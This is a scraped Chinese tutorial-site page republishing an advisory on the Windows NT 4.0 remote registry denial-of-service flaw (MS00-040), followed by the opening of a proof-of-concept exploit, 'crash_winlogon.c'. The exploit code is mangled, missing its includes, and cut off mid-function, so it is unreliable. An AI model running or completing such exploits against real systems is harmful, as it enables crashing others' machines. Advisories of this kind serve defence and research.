注册表全攻略,Windows?NT?4.0?远程注册表拒绝服务攻击漏洞-注册表全攻略

Windows?NT?4.0?远程注册表拒绝服务攻击漏洞-注册表全攻略 - 注册表 - 电脑教程网

Windows?NT?4.0?远程注册表拒绝服务攻击漏洞-注册表全攻略

日期:2007-03-25   荐:

59、Windows NT 4.0 远程注册表拒绝服务攻击漏洞  

   Windows NT 4.0 远程注册表拒绝服务攻击漏洞发布日期: 
受影响的系统: - Microsoft Windows NT 4.0 Workstation- 
Microsoft Windows NT 4.0 Server- Microsoft Windows NT 4.0 Server, Enterprise Edition- Microsoft Windows NT 4.0 Server,

 Terminal Server Edition 
不受影响系统: Windows 2000 
描述: 在远程主机对注册表的访问请求被处理前,需要先经由远程注册表server进行认证。如果提交一个错误格式的请求,会让远程注册表

server错误得进行解释,并发生错误,不能正常工作。
在Windows Nt 4.0中,由于注册表server包含在winlogon.exe这一系统进程里,这个进程出错将导致整个系统不可用。注意,只有一个已经通过

认证的用户才能发起这样的请求,匿名(空会话)连接不能导致这种拒绝服务攻击。受到攻击的系统必须重新启动才能正常工作。<* 来源:

 Renaud Deraison from Nessus Team Microsoft Security Bulletin (MS00-040)*> 
测试程序: 警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! /** crash_winlogon.c**

 by Renaud Deraison - [email protected]** This code is released under the GNU General Public License.* 

(thanks for respecting this license)** In case you are wondering, here is the motto I applied for this code :** 

"StrUCtures are for sissies"*/#include #include #ifdef WIN32#include #define bzero(x,y) memset(x, 0, y)#else#include #include 

#include #include #define closesocket(x) close(x)#endifchar * netbios_name(char * orig){int I, len;char * ret = 
malloc(40);bzero(ret, 40);len = 
strlen(orig);for(I=0;I<16;I++){ if(I >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[I] / 16) + 'A'; omod = 

(orig[I] % 16) + 'A'; ret[strlen(ret)]=odiv; 
ret[strlen(ret)]=omod; }}return(ret);}char *
 netbios_reDirector(){int I;char * ret = 
malloc(31);bzero(ret, 31);for(I=0;I<15;I++)strcat(ret, "CA");strcat(ret, "AA");return(ret);}char* unicode(char * 

[1] [2]  

data){int len = strlen(data);int I;char * ret =
malloc(110);int l = 0;bzero(ret,110);for(I=0;I 

(出处:http://www.sheup.com)


 [1] [2] 

标签: